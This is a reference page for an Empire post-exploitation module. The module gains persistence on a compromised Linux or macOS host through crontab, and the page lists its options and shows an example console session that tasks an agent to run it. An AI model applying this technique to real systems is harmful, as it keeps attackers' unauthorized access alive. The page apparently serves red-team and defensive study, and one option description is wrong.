Persistence with crontab - Empire Module


This page contains detailed information about how to use the python/persistence/multi/crontab Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: Persistence with crontab
Module: python/persistence/multi/crontab
Source code: empire/server/modules/python/persistence/multi/crontab.yaml
MITRE ATT&CK: T1168
Language: Python
Needs admin: No
OPSEC safe: No
Background: No

The crontab module establishes persistence via crontab.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the crontab module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the crontab module:

Agent
Agent to grab a screenshot from.

FileName
File name for the launcher.

Additional Module Options


This is a list of additional options that are supported by the crontab module:

Hour
Hour to callback. 24hr format.

Hourly
Hourly persistence.

Remove
Remove Persistence. True/False.

Crontab Example Usage


Here's an example of how to use the crontab module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/persistence/multi/crontab

 Author       @424f424f                                       
 Background   False                                           
 Description  This module establishes persistence via crontab 
 Language     python                                          
 Name         python/persistence/multi/crontab                
 NeedsAdmin   False                                           
 OpsecSafe    False                                           
 Techniques   http://attack.mitre.org/techniques/T1168        


,Record Options----,----------,----------------------------------,
| Name     | Value | Required | Description                      |
|----------|-------|----------|----------------------------------|
| Agent    |       | True     | Agent to grab a screenshot from. |
|----------|-------|----------|----------------------------------|
| FileName |       | True     | File name for the launcher.      |
|----------|-------|----------|----------------------------------|
| Hour     |       | False    | Hour to callback. 24hr format.   |
|----------|-------|----------|----------------------------------|
| Hourly   |       | False    | Hourly persistence.              |
|----------|-------|----------|----------------------------------|
| Remove   |       | False    | Remove Persistence. True/False   |
'----------'-------'----------'----------------------------------'

(Empire: usemodule/python/persistence/multi/crontab) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/multi/crontab) > set FileName value
[*] Set FileName to value
(Empire: usemodule/python/persistence/multi/crontab) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author


References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.